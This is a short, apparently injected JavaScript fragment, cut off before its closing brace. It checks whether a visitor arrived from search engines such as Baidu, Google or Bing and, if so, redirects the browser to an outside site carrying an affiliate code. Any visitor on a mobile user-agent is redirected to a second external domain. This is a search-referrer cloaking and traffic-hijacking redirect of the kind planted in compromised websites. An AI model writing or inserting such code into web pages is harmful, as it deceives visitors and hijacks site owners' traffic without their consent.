var regexp=/\.(haosou|baidu|so|google|yahoo|sougou|bing|youdao|soso|shenma|sm|sogou)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { window.location.href="https://www.bobvip8.com/?agent_code=4446" } if( /NOKIA|LG|Samsung|midp|wap|ucweb|wechat|MicroMessenger|Phone|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { window.location = "https://www.bob2005.com/?agent_code=4446";